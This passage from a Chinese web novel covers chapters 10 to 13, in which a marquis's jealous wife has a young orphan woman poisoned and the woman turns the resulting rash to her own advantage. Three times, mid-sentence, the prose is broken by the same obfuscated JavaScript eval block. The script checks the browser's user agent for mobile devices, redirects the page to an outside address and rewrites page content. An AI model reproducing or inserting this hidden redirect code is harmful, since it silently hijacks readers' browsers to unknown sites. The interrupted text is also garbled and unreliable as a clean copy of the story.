她不过是伤了额头,许玉淮便急得跟什么似的。 而那桃蕊院,他至今还未踏入。 他的心里的位置,始终还是她的。 但眼皮子底下有个人觊觎她的夫君,舒含昭很是不喜。 这是她的夫君,她的男人。 任何人,都不能抢走她的东西。 低垂的眼底浮现阴狠之色。 …… 出了桃林,云镜纱便收起了眼里的泪。 桃杏追来,见她已恢复寻常,嘴角压了压。 可真会装模作样。 她假惺惺地问:“姑娘,你还好吗?” “还好。” 云镜纱勉强笑了笑,“走吧,该回了。” 回去之后,云镜纱并未透露分毫。 晚间用膳时,桃杏殷勤地凑上来为她布菜。 云镜纱半阖着眼睑,声音软绵绵的没什么力道,“我没胃口,你们分了吃吧。” 说完,她径直进了里间,留下笑容僵硬的桃杏和面面相觑的敏良芳音。 …… 云镜纱额上的伤已无大碍,日日去承安堂与黄老夫人说话。 这些时日,她能感受到黄老夫人对她越发满意,只是或许是忌惮舒含昭,迟迟没有下一步动作。 云镜纱也不急,每日去承安堂打发打发时间,回桃蕊院后就和敏良一道做女红。 她打算做个香囊。 挑了块玄色布料,又选了个花样子,云镜纱垂眸认真刺绣。 她很爱护身上的任何一个部位,每隔一会儿便会站起来走走,放松眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279136|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛。 “姑娘累了吧,快喝口茶。” 桃杏殷勤递上一盏茶。 云镜纱接过,对她笑了笑,“多谢。” 慢条斯理喝了一口。 芳音瞧见了,侧头和敏良悄悄说话,“她这两日转性了?” 敏良摇头,“或许是想通了,准备安心侍奉姑娘。” 芳音噘嘴,不满这个回答。 不过相处了这么久,她已经了解了敏良的性子。 很是老实本分,只做自己该做的事,别的她一概不管,颇有些独善其身的意味。 据敏良偶尔透露出来的话音来看,她家里好似有些困难,平日空闲时,都见她在做针线贴补家用。 芳音丢下她,跑去和尹寻春说话。 因着这两日桃杏似是转了性子,敏良和芳音对她的态度好了不少。夜间用膳时,桃杏盛上一碗甜羹。 云镜纱抬眸看她。 明明是极为平淡的一眼,却让桃杏心惊肉跳,她压下心慌,“姑娘怎么了?” “无事。” 云镜纱依旧是那副柔弱温和的模样,“我已饱腹,这羹先放着,我稍后再喝,其他的就先撤下去吧。” 桃杏不想惹人怀疑,只好点头。 敏良和芳音撤下碗筷,桃杏在外头叫人送水,目光偶尔扫进屋里。 尹寻春瞪了两眼桃杏,又转头过去瞪那碗甜羹,“姑娘,这羹有问题?” 云镜纱端起瓷碗,勺子勾了两下碗中甜羹,鼻尖微凑。 须臾,她放下碗,嗓音散漫,“加了样东西。” 尹寻春目露凶光,“她想害姑娘?!” “不会致命,不过……”云镜纱意味不明地哼笑两声,单手托着腮,“会有些不好受。” 尹寻春依旧很生气,满脸认真,“我这就去倒了。” 云镜纱噗嗤一声笑了。 尹寻春皱着眉头不解,明明是有人要害她。 “姑娘怎么好像很高兴?” “能让舒含昭不痛快,我当然高兴。” 云镜纱扔开勺子,把瓷碗搁下,“你今晚出去一趟。” 她以手掩唇,悄声在尹寻春耳边落下一句话。 尹寻春皱着娃娃脸,表情犹疑,“姑娘,这会不会有损身子?” 云镜纱轻笑摇头,“不会的,我有分寸。” 尹寻春两条眉毛弯起,一脸苦相,“可是也太委屈姑娘了。” “做场戏罢了,算什么委屈。” 云镜纱轻笑,有一搭没一搭地舀着甜羹。 长睫半阖着,在眼下留下青影,却遮不住琥珀眸中流转的笑意。 分明是一箭双雕才对。 云镜纱丢了瓷勺,淡声道:“处理了。” 尹寻春点头,“姑娘放心。” 不多时,桃杏领着拎着水的婆子进来,见桌上甜羹空了一半,悄悄勾了勾唇。 …… 浓云遮盖,不见日光,大地仿佛被蒙上一层薄雾,朦朦胧胧的,总觉空落。 “啊!” 檐下一对燕子正在筑巢,突如其来的一声尖叫吓得它们振翅飞向空中,转眼已逃离此地。 “嗒嗒。” 急促而沉重的脚步声响在小径上。 青石板略显湿滑,小厮如履平地,走得又快又稳。 迎面走来一群人,见了为首的男子,他快速迎上去,嗓音微沉,“侯爷,出事了。” 11. 第 11 章 许玉淮匆匆赶到桃蕊院。 他到时,舒含昭坐在外间榻上,有一搭没一搭地刮着茶沫。 黄老夫人跟前的秀妍立在珠帘前,两手揪着手帕,担忧地望着里间。 “侯爷。” 丫鬟们的请安声惊动了外间寂静,许玉淮沉着脸踏入。 舒含昭起身迎上,“夫君。” 许玉淮应了,“云姑娘伤势如何?” 舒含昭白眼一翻,“我怎么知道。” 一来就云姑娘云姑娘的,毁了张脸而已,又不是死了! 她赌气坐回去,偏头不再看他。 许玉淮现下没工夫哄她,问秀妍道:“怎么样?” 秀妍屈膝行礼,眉心微蹙,脸色忧愁,“云姑娘不让人进去,奴婢也不知。” 许玉淮越过珠帘看向里间。 重重帘帐放下,看不清床榻内的情形,几个丫鬟跪在床前哭成一片。 哭声中,许玉淮准确无误地捕捉到一道低低的啜泣声,像是怕被人发觉,断断续续的,似一根针轻轻扎在他心头,不痛,却极为难捱。 许玉淮运气,一把掀开珠帘,大步迈入里间。 几个丫鬟被这动静惊住,回首见是许玉淮,这才放下心。 “如何了?” 榻边的大夫收了手,先是见了礼,随后道:“侯爷,这位姑娘……” 他顿住,花白胡子动了动,像是有些为难。 许玉淮:“你只管说。” 老大夫压低嗓音,“是中了毒。” “这毒潜伏在人体内,起初会让人浑身无力,精神不济,长此以往,损及心肺,则会心衰力竭而死。” “万幸的是,这位姑娘对药物极为敏感,加之最近在用灵药,两药相克,提前爆发,这才让她躲过一劫。” 中毒? 许玉淮心里掀起惊涛骇浪,他握住拳,压下怒意,对老大夫道:“那她可有大碍?” 老大夫摇头,“姑娘身子康健,吃几副药,养一阵即可。” 许玉淮拱手,“多谢大夫。” 老大夫谦卑道:“侯爷折煞老夫。” 等老大夫写下方子,许玉淮立在帘帐前,“云姑娘。” 帐子里过了许久才响起少女无助呜咽的嗓音,“侯爷。” 许玉淮安慰道:“你放心,回春堂的大夫医术高明,姑娘过几日便会好的。” 又等了片刻,许玉淮听见两声闷闷的哭声,“多、多谢侯爷。” 许玉淮眉心折起,直觉不对,掀起帘帐。 少女尖叫一声,捂着脸偏过头。 她的速度很快,但许玉淮已看清了她的模样,惊道:“你的脸怎么回事?!” 云镜纱双手捂着脸,乌发遮住眉眼,几点殷红如缀在雪地里的血珠,触目惊心。 珠串似的泪水落在锦被上,单薄肩膀颤抖,云镜纱哽咽,“许大哥,求你别看了。好丑,好丑……” “好,我不看,你别哭。” 许玉淮沉着脸放下帘帐,转身冷冷看着老大夫。 老大夫停笔,恭声道:“侯爷,待姑娘体内毒素清了,疹子自会消。” 许玉淮面色好转,微微颔首,回身安慰,“没事了,这些都会消的。我保证,一定让你恢复如初。” 云镜纱忍着哭音道:“我相信许大哥。” 许玉淮松了口气,视线一转,掠过跪在地上哭泣的芳音和尹寻春,放在敏良身上,“你随大夫抓药。” 敏良站起,恭声道:“是,侯爷。” 二人一走,芳音立即跪到许玉淮面前,“侯爷,有人要害姑娘,还请您给姑娘做主啊。” “桃杏!一定是桃杏!” 芳音满脸泪痕,恨道:“她最开始对姑娘爱搭不理,前几日突然给姑娘献殷勤,一定是她,是她要害姑娘!” 许玉淮问:“她为何要害你们姑娘?” “当然是因为……” “芳音。” 帐子里云镜纱弱声唤道:“我想吃东西。” 今个儿折腾了一早上,她至今未曾进食。 芳音欲言又止,“姑娘……” “芳音。” 云镜纱轻柔而坚定地打断她,“我饿了,想吃东西。” 芳音咬唇擦干眼泪,“奴婢这就去取。” 她走后,屋内陷入寂静。 许玉淮神色晦暗,口吻温良,“好好养着,我明日再来看你。” “……好。” 瞥过跪在床前的尹寻春,知道那是云镜纱买回来的丫鬟,许玉淮叮嘱,“照顾好你家姑娘。” 尹寻春点头。 珠帘脆响,许玉淮低声在外间说了几句,随后便有好几道脚步声离去。 尹寻春掀起帘帐,“姑娘。” 云镜纱揉着额角。 哭了一场,她精神不济,眉眼淡淡,“我歇会儿,芳音回来了叫醒我。” “好。” 大概两刻钟后,芳音回了。 尹寻春叫醒云镜纱,扶着她坐起。 把几案安置在床上,芳音取出一碗白粥和几样小菜。 “委屈姑娘几日,等姑娘身子好了,再给您吃好的。” 云镜纱笑,“这已经很好了。” 芳音想喂她,被云镜纱拒绝,只好在一旁为她布菜。 “姑娘。”她想不通,“方才为何打断奴婢的话?一定是夫人容不下你,才让桃杏下毒。” “无凭无据,不可胡乱猜测。” “除了夫人,这府里还有谁会害你?”芳音气愤不已。 连芳音都能看明白,许玉淮又怎么看不出呢? 可即便是查清楚了,他能为了她惩治舒含昭么? 舒含昭是谁? 靖国公府的嫡长女,当今太后的亲侄女,陛下的表妹,常远侯府的当家主母。 而她云镜纱不过是个无依无靠,身如浮萍的乡下姑娘,两厢对比,孰轻孰重,怕是连五岁稚童都能分辨。 他不会为了她妨碍与舒含昭夫妻间的情谊,更不会为了她得罪国公府。 今日之事,许玉淮知她心如明镜,她也知他心知肚明,可为了他的妻子,他的脸面,即便是险些付出性命,她也甘愿咽下这份委屈。 这样一个满心满眼都是他的女子,哪怕不能令许玉淮移情,也能勾起他几分愧疚。 这些愧意,足以让她在他心里成为一个特殊的存在。 以舒含昭强势不容人的性子,若是察觉了这份存在,定会与许玉淮闹。 到时,就不知这对恩爱夫妻的归途如何了。 云镜纱扣着碗,嘴角漾起苦笑,“我们本就寄人篱下,无凭无据污蔑主母像什么话?好了,此事往后不必再说了。” 缓缓舀起一勺白粥,尹寻春夹了两片小菜放在勺中,云镜纱吃了,看向一脸憋闷的芳音,带着几分寥落,“去给我拿张面纱吧,我现在这个模样,怕吓着你们。” 少女皙白如雪的肌肤上缀着密密麻麻的红疹,瞧着很是瘆人。 芳音心疼道:“等敏良姐姐拿了药来,姑娘吃了,过两日就好了。” 尹寻春默默问:“桃杏呢?” “她昨夜说是要回去看望重病的娘,一大早就走了。”芳音咬牙切齿,“等她回来,姑娘让人把她绑了,打她几板子。” 云镜纱垂睫静静吃着粥,神色有些淡,“不可动用私刑。” …… 舒含昭心情不错地和许玉淮回了凝芳阁。 方才许玉淮那声“你的脸怎么回事”她听得清清楚楚。 一想到云镜纱如今的模样,舒含昭心里畅快得很。 没了那张脸,看那狐狸精怎么勾.引她男人。 在院里留守的吴嬷嬷远远瞧见两人结伴而归,当即让丫鬟备上茶水,等主子们进了屋落座,吴嬷嬷奉上茶,和黛春夏琼退出里间。 这夫妻俩在一处时,屋里一向是不留人的。 舒含昭呷了口茶,余光瞥到许玉淮沉凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279137|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸色,那份好心情瞬间散了不少。 “元义。” 许玉淮唤了一声。 元义进了外间,隔着珠帘问:“侯爷有何吩咐?” “去库房选支品相好的人参给云姑娘送去,让厨房每日给她炖碗燕窝,其他的钗环绸缎你看着拿。” 元义大气不敢出,道了声“是”转身疾步离去。 舒含昭眉间聚着阴云,沉着脸重重搁下杯盏,阴阳怪气道:“夫君当真关心云姑娘。” 这点东西在舒含昭眼里算不得什么,她心情好,给出去也就罢了,反正云镜纱的脸已经毁了,再怎么补救也不过是无济于事。 可她不能接受许玉淮当着她的面,就敢公然关心另一个女人。 许玉淮眉眼很淡,一手撑着额头,“她险些丢了性命,合该好生安抚。” “不就是毁了张脸?至于这么紧张?”舒含昭冷嗤。 “昭昭。” 许玉淮沉声,“云姑娘脸生红疹,本就难过,这种话你不可再说,更不要当着她的面说。” 舒含昭气疯了,“哐”一声拍桌而起,“许玉淮!你当着我的面关心别的女人?!她身边没有下人?用得着你一个有妇之夫对她嘘寒问暖?” 等等—— 舒含昭蓦地瞪大眼,“红疹?什么红疹?她不是该满脸毒疮么?” 此话一出,舒含昭浑身一个激灵。 她缓缓垂首,望进一双冷淡沉凝的眼。 眼睛的主人凝着她,一向温柔的嗓音夹杂着失望。 “昭昭,她是我的救命恩人。” 心虚化为乌有,舒含昭怒气上涌,脸上涨红,“我知道她是你的救命恩人,所以留了她一命,还不够吗?” “昭昭。”许玉淮冷着脸,“你过了。” 她可以骄纵任性,也可以嚣张恶毒,却不能顶着常远侯府当家主母的名头,给他的救命恩人下毒。 她这是将他的脸面踩在脚下。 舒含昭不可置信,漂亮凤眸里涌出泪。 “你在怪我?许玉淮,你竟然在怪我,怪我毁了她的脸?你心里是不是有她了,是不是?!” 泪水夺眶而出,舒含昭执拗地凝视他,“许玉淮,你答应过我的,这辈子只会有我,只会爱我一人。” 面对舒含昭的质问,许玉淮垂睫,无人看见的眸底藏着暗色。 两息后,他无奈叹气,“昭昭,我只把她当妹妹。” 舒含昭泪眼婆娑,“当真?” 许玉淮面不改色,“自然是真的。” 走近舒含昭,轻柔擦去她面上泪水,许玉淮温声道:“她兄长失踪,孤苦无依,我难免对她多照顾些。让你误会是我不对,若你始终怀有芥蒂,不如给云姑娘寻个好人家,也算报答她的救命之恩了。” “真的吗?” 舒含昭惊喜抬睫。 “我岂会骗你。” 许玉淮笑容温和得完美无缺。 “夫君,我错了。我以后不会针对她了。” 舒含昭投入许玉淮怀中,泪水打湿他的衣襟,哽咽道:“我只是害怕。嫁给你这么多年始终无子,我知道祖母心里不满,想给你寻个良妾延绵子嗣,可我不愿,我要你只是我一个人的……” 若是初初嫁给许玉淮那两年,她绝不会因为一个孤女患得患失。可今年已经是他们成婚的第六个年头,别说孕育子嗣,她连喜信都没出过。 焦躁之下,她开始患得患失,一想到许玉淮或许会纳妾,她就难受地恨不得提刀拦住每一个接近他的姑娘。 “好了好了,我知道。” 许玉淮温柔安抚,“咱们还年轻,会有孩子的。” 舒含昭啜泣点头。 “侯爷。” 元义硬着头皮恭声禀报:“丞相府来人。” 许玉淮眸光一亮,难掩惊喜,放开舒含昭,“昭昭,我先去趟书房,不许再哭了。” 舒含昭泪眼婆娑,有些不满,却还是放他去了,“好。” 12. 第 12 章 许玉淮走后,黛春几人进了屋。 夏琼用浸了热水的帕子,动作轻柔地为舒含昭擦拭面颊泪痕。 激昂情绪如潮水退却,理智上头,舒含昭皱着眉,“我听说,姓云的那……” 顿了顿,咽下那两个字,她语气不太好,“姓云的脸上生的是红疹?” “是。” 黛春回:“元义说是中了慢性毒药,因她对药物敏感,提前发了出来,导致脸上生了疹子。” 舒含昭冷哼一声,“运气倒是好。” “不过,好端端的,那药怎么会变?” 黛春摇头。 夏琼退后,把帕子扔进铜盆,猜测道:“莫不是那奴婢做的?” “她人呢?” 黛春:“今个儿躲出去了,夫人可要把她寻回来?” 舒含昭颔首,眸泛冷光,“带回来,好生问问。” 黛春应声,“是。” 夏琼脸上略带怜悯。 事没办好,那叫桃杏的要吃些苦头了。 吴嬷嬷站在一旁听完,劝道:“夫人何必与别人一般见识,当务之急,是快些怀上子嗣。” 舒含昭面上含燥,“行了,我知道了,别念了。” 夏琼垂首,长睫盖住眼睛,柔声道:“我去给夫人端药。” 院中忽然有猫在叫。 从窗户看去,一只浑身雪白的猫儿赖在圆脸小丫鬟脚下,两只爪子勾住她裙摆,喉咙里咕噜咕噜地撒娇。 春日阳光正好,洒在一人一猫身上,着实美好。 “养不熟的东西。” 舒含昭冷沉的嗓音响彻,“吃我的喝我的,竟然对着个下人如此亲昵。” 夏琼恍惚回首,对上舒含昭明媚而冷冽的侧脸。 “处置了。” 一片寂静中,无人应声,最终还是黛春恭声道:“是。” 耳畔猫儿的叫声黏腻动听,丝毫不知自己的处境。 夏琼低眉屈膝,恭敬退下。 …… 敏良取了药,熬好后立即给云镜纱送来。 云镜纱喝了药,带着面纱半躺在榻上看书。 才翻了几页,芳音在外边喊:“姑娘,侯爷身边的元福小哥来了。” 云镜纱动作不停,嗓音虚弱,“我身子不便,敏良,好生招待着,莫要怠慢。” 敏良口中称是,提步去了外间。 这次许玉淮送的东西格外贵重,敏良让丫鬟们送到云镜纱跟前,待她一一看过。 云镜纱视线从琳琅满目的朱钗环佩上掠过。 倒是大方。 她挑了几样,剩下的便让人妥善收好。 吃了午饭,黄老夫人跟前的秀妍来看望。 云镜纱并未露面,隔着帘帐与她说话,“劳烦秀妍姐姐走这一趟。” 秀妍目光关切,“姑娘的脸如何了?严重么?我曾学过几分医理,若是姑娘不介意,可让我瞧瞧。” “秀妍姐姐竟还学过医理?” 坐在帘帐里的身子动了下,语含惊讶,旋即尾音落了下去,失落苦闷,“我此刻的面容有碍观瞻,还是不碍秀妍姐姐的眼了。” 秀妍笑道:“嗐,是我自大了。不过略识得几株草药,如何能医人?姑娘听大夫的话,好好养着,莫要忧心。” “我省得。”云镜纱乖顺点头,“多谢秀妍姐姐关心,也替我谢过老夫人,待我脸好了,再去寻老夫人说话。” 秀妍笑盈盈,“好。” 待了一刻钟,就吃了盏茶,秀妍便回去复命了。 隔着帘帐目送她的背影远去,云镜纱若有所思。 秀妍的态度并不轻慢,她却敏锐地察觉到,在她拒绝之后,秀妍的情绪淡了些许。 难不成,是老夫人担心她毁了脸,无法勾.引她孙子,决定放弃她了? “姑娘。” 送完秀妍回来的敏良道:“桃杏回来了。” “这个吃里扒外的东西!” 芳音瞬间炸了,“我非得去教训教训她不可。” “芳音。” 察觉到敏良神色有异,云镜纱叫住她,问道:“怎么了,是桃杏出事了?” 敏良点头,眉心微皱,“她方才一瘸一拐地回来,满头大汗,煞白着脸,像是疼极了。可瞧着却没什么外伤,问她发生了什么也不说,回了房就哭。” 芳音高兴了不少,小声嘟囔,“活该。” 云镜纱不赞同地看她一眼,“她与我们不是一条心,随她去吧,往后无论做什么都避着她些。但她既然出事,也不好不闻不问,你们去看两眼。” 敏良颔首。 芳音起初不想去,可眼珠子一转,不知想到什么,挽着敏良的手出门。 快到门口,她问:“寻春,你去吗?” 尹寻春摇头,“不去,我要陪着姑娘。” 芳音也就是随口一问,得此回复也不在意,拉着敏良走了。 尹寻春年纪小,院里丫鬟又多,她能做的着实不多。芳音和敏良都默认让她陪云镜纱解闷,平日里也就是让她搭把手。 屋里没了人,云镜纱道:“寻春,给我拿面镜子。” “好。” 尹寻春从妆台上拿了面巴掌大的镜子。 云镜纱举着镜子,细细看着额头上的红疹。 “姑娘。”尹寻春不解,“为何还要留着桃杏?” 她对姑娘不安好心,一剑杀了最好。 云镜纱理着额角碎发,漫不经心回复,“不叫的狗,咬起人来是最疼的。有条叫嚷的放在明面上,总好过放条不叫的在暗处。” 尹寻春懵懵懂懂,“什么叫不叫的?” 云镜纱失笑,“你琢磨这个作甚,别想了。快看,我这样好看吗?” 白纱遮住下半张脸,碎发挡住额上大部分红疹,只露出一双水润清透的眼睛。 尹寻春坚定道:“好看!” 云镜纱无奈,点着额头无法遮挡的红疹,“到时用粉遮一遮。” “算了。” 念头一转,她又道:“就这样吧。” 什么这样那样的? 尹寻春不懂。 不过姑娘不说,那她就不问。 …… “怎么样,瞧见了么?” 秀妍一进门,坐在上首的黄老夫人迫不及待追问。 她无奈摇头,“并未。云姑娘把自己的脸遮得严严实实的,想必是不太好。” 闻言,黄老夫人失望靠在软枕上。 秀妍近前蹲下身子,轻轻捶着黄老夫人小腿。 寂静之中,只听沉沉一叹。 “若她的脸好不了了……”黄老夫人沉吟道:“淮儿会把她带回来,想必也是有几分喜爱她那张脸的。琴慧,你照着云丫头的模样去寻个回来,用不着如何相似,能像个三四分,已经算是难得的美人了。” 黄老夫人身旁,穿着褐色短衫,绛紫色迭裙的嬷嬷颔首,“是。” 黄老夫人一手撑头,惋惜叹道:“可惜啊。” 秀妍知晓,老夫人最看好的还是云姑娘。 生得那般模样,性子又温和内敛,没有哪个男人会不喜欢。 哪怕是侯爷。 …… 黄昏的光将西边天空染成红霞,一双燕儿结伴穿云而过,留下长长拖尾。 檐下已有丫鬟将点好的灯笼重新挂上。 风住了,芳音收了线,把纸鸢交给小丫鬟,隔着窗喊道:“姑娘想吃什么,奴婢去拿。” 窗内忽地冒出一颗小脑袋,尹寻春扒着窗沿,“芳音姐姐,敏良姐姐已经去厨房了。” 芳音惊讶,“她什么时候去的,我怎么没看着?” 院门口处响起人声,见敏良回来,芳音忙迎上去帮忙。 云镜纱身子弱,不宜重口,敏良拿的都是些清淡好克化的菜。 好在她胃口不错,吃完在榻上歇了会儿,转去床上躺着。 几个丫鬟自不会去打扰,早早退下了。 今夜无风,皎皎银月挂柳梢,繁星点缀夜空,星光明亮,星汉灿烂。 “啪嗒”一声轻叩,云镜纱迷迷糊糊道:“谁?” 她迷蒙睁眼,隔着厚重帘帐瞧见屋内高大的影子,惊得险些叫出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279138|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是我。” 略显熟悉的嗓音落下,云镜纱咽下喉咙口的尖叫。 顺了口气,她疑声,“齐公子?你今晚怎么来了?” 男人静默须臾,言简意赅,“你放了纸鸢。” “什么……啊……” 似想起什么,少女话音一拐,“是我放的,公子稍等片刻,我这就去给你拿东西。” 孟桓启负手立于屋内,闻声侧开脸,长睫微垂。 听着帐内窸窸窣窣的声响,他垂下眼睑。 少女灵巧的脚步挪到妆台,与他小声寒暄,“公子今夜来得好早。” 孟桓启睨眼桌上漏刻,微抿唇,“嗯。” 轻缓的脚步声渐近,少女嗓音绵柔,“公子看看,这里头可有你要的东西?” 孟桓启瞥眼过去,凤眼里点点思量刹那散开,目光凝在她脸上,嗓音比寻常还要冷冽三分。 “脸怎么了?” 少女脸上覆着白纱,满头青丝散开,静静披在身后,左右两绺头发挡在侧脸,碎发遮在额上,只露出琥珀般清莹的杏眼。 他目力极好,借着皎洁月光,清楚看见少女额上遮不住的红疹。 “啊……” 云镜纱低低叫了一声,杏眸中盈出水色,连忙背过身去,颤抖着道:“很丑,公子别看。” “怎么回事?” 孟桓启绕过她,直直看着她的脸。 “公子别看了。” 云镜纱嗓音里映出恳求,那双明澈的眼几乎快要哭出来。 孟桓启一怔,侧过身移开目光,“我不看,但你需告诉我为何会如此。” 云镜纱抱着木箱,小声道:“没什么,只是吃错了东西生了疹子,吃了药过几日就好了。” 若真如此,她的委屈作何解释? 孟桓启不语,向前迈进。 “公子!” 云镜纱慌乱后退,急急解释,“纸鸢是侍女为了哄我开心放的,我郁结于心,忘了公子夜里会来。我这副样子……” 她低泣,把怀中木箱往前一递,“公子还是别看了,看它们吧。” 孟桓启转身,长指一伸将之打开,草草看了眼,“没有。” 云镜纱:“……” 好敷衍。 她正欲说什么,男子清冽好听的嗓音落下,“等我片刻。” 云镜纱不解抬头,须臾的工夫,眼前已没了那道高大的身影。 她默了默,犹豫稍许,抱着木箱坐在榻上等他。 夜里微凉,云镜纱裹了裹身上的披风。 不知过了多久,久到她都快睡着了,窗户轻响,云镜纱一下子惊醒,单手揉了揉眼睛。 “齐公子,你回来了。” “嗯。” 去而复返的孟桓启走到近前,取出两个青色瓷罐,“这药不比你之前用的差,每日两次。” 侯府的药膏出自宫中,已是难得的好药。齐雨却一出手就是两罐,甚至直言不比侯府的差。 赌对的可能越发大了。 云镜纱摇头拒绝,“我怎么能要公子的东西?” 孟桓启直接把东西放在榻上安置的矮桌上,“你替我找东西,我还未给谢礼。” 云镜纱弯了弯眼,“那我就谢过齐公子了。” 孟桓启颔首。 斜睨着漏刻,他张了张唇,但在见到云镜纱捂唇打哈欠时,顿了顿,只道:“夜深了,你歇吧,我走了。” “公子慢走。” “好。” 窗户开了又阖上,那人转眼不见。 子时将过,云镜纱忍着困意坐回去,心情颇好地点了点两罐药膏。 指尖碰到别处,指腹下的触感明显不同于瓷罐。 云镜纱把那东西拿起。 他什么时候放下的? 云镜纱走到窗边。 清辉映下,巴掌大的木盒里躺着一条手串。 玉珠子颗颗晶莹饱满,漆黑如墨,油润光滑。个头不大不小,正正合适,中间挂了块檀木制成的莲花形状木牌,上头刻了个“安”字。 这是何意? 13. 第 13 章 云镜纱睁眼,眼睛一侧,触及枕边巴掌大的木盒。 纤长手指拨了下箱扣,手肘放在枕上,她撑着头,懒懒低眸看着木盒里的墨玉手串。 若是送她的,说明他对她还是有几分兴趣的。 若是无意间落下的,那她更有理由见他。 无论是哪一种,结果都对她有利。 当然,她更希望是前一种。 将手串连带木盒放在枕下,云镜纱缓缓起身,朝外唤了声。 尹寻春第一时间察觉,蹑手蹑脚从珠帘中穿过脑袋,扒拉了下落在脸上的珍珠,小声道:“姑娘醒了?” 云镜纱含笑回:“醒了。” 听了声儿,敏良和芳音进去服侍她起身。 为云镜纱穿衣时,芳音笑着调侃,“姑娘今个儿瞧着心情不错。” 云镜纱笑笑,“睡得好,心里自然开怀。” 自己系好带子,抬眼时目光微顿,“外头有雨?” “是啊。”芳音道:“奴婢寅时起夜时瞧见的,下了有两个时辰了。” 用帕子擦了脸,又抹了药带好面纱,云镜纱来到窗前,轻轻推开窗。 风吹来的瞬间,细密雨丝迎面扑来,脸上霎时添了湿意。 天色暗沉,大地仿佛蒙上一层灰。院中桃花恹恹地垂了头,不复昨日的光彩照人。 云镜纱手心朝上,接了一手的雨水。 “今日风寒,姑娘当心着凉。” 敏良劝道:“要看雨,离远些看也是一样的。” “这点雨算不得什么。” 云镜纱摇头,面纱随着动作微扬。有雨丝浸透面纱,一小块布料贴在脸上,让那张如雪砌玉般的脸显出几分脆弱。 尹寻春板着小脸拿来披风,把云镜纱整个裹住。 云镜纱好笑,“都当我是泥做的不成?风一吹就倒,雨一淋就散。” 敏良:“姑娘近几日身子骨弱,还是别吹风的好。” “好好好。”云镜纱无奈,“听你们的,我不吹了。” 她离开窗。 芳音正在摆早膳,云镜纱落座,打趣道:“方才还说我,你今日面上不也带了喜色?” 芳音乐滋滋道:“月底了,府里马上要发月银,奴婢自然高兴。” 听说侯府丫鬟的待遇不错,像她这样的大丫鬟一月能有足足一两银子。 这还是芳音头一次即将有这么多银子入账,自然兴奋,“到时,奴婢要给我娘寄些回去。” 云镜纱握着勺子微怔,“月底了?” “是啊。” 敏良随口道:“今日二十四,离下月不剩几日了。” 云镜纱莫名问:“这是几月?” 芳音看她一眼,笑道:“姑娘睡傻了,当然是三月啊。” 尹寻春立即不满地瞪了芳音一眼,“姑娘聪明着呢,不准说姑娘傻!” 芳音失笑,“好好好,我不说了。” 云镜纱捏着勺子的手微紧。 三月二十四。 今日,是小圆的生辰。 云镜纱恍惚间察觉,原来昨日是她的生辰啊。 不知不觉,她已经十八了。 云镜纱搅着白粥,轻柔的嗓音有些委屈,“吃了一日的粥,我都快吃不下了。敏良,午膳我能吃面么?” 敏良:“只能吃清淡的。” 云镜纱弯眼,并不介意,“不是粥就好。” 撩起白纱,往口中送了勺粥,云镜纱面不改色咽下。 她和小圆是双胎,相隔了一日,二人的生辰却是各过各的。 小时候,她最是期盼自己的生辰,那意味着娘亲不仅会为她准备生辰礼,更会连着两日做一桌子好菜。 如今无人给她过生辰,她这做姐姐的,却不能连碗面都不给妹妹准备。 长而卷翘的羽睫微颤,云镜纱静静看着碗里的白粥。 …… 早膳过后,雨还未停。 桃杏照常躲在屋里不出来,敏良几个围坐在榻下,手里拿着帕子做绣活。 云镜纱本也想做香囊,可延绵不断的雨扰得她心中堵塞,实在提不起兴致,握了本书恹恹地靠在榻上。 她垂眸出神,手里的书许久也未翻过一页。 敏良小声和芳音讨论绣法,尹寻春怀里抱了个小盅,仔仔细细地剥着瓜子。 听着细碎的声音,云镜纱心情稍缓,偏眸瞧着窗外的雨。 午膳果真是一碗面。 云镜纱捏着筷子,一根一根,细细品味。 侯府大厨的手艺非寻常厨子能比,精致可口,汤鲜味美。可她总觉得,还是记忆中的那碗长寿面更好吃。 云镜纱垂眼,一口一口吃完了整碗面。 小圆,生辰快乐。 尹寻春在一旁看着,总觉得姑娘身上仿佛笼罩了一层阴云。 她虽跟在姑娘身边多年,可许多事,姑娘并不会与她说。她知道姑娘与舒家有仇,可是什么仇,她却一无所知。 尹寻春也无意去探究。 在她快饿死时,是姑娘给了她馒头,让她活了下来。从那时起,她就认定了这辈子都会跟着姑娘。 她只需要守着姑娘、保护姑娘,听从姑娘的命令就是了。 可这么多年下来,尹寻春也发现,一年中,姑娘总会有几个日子心情格外沉郁。 今日,恰是其中一个。 她想让姑娘开心些。 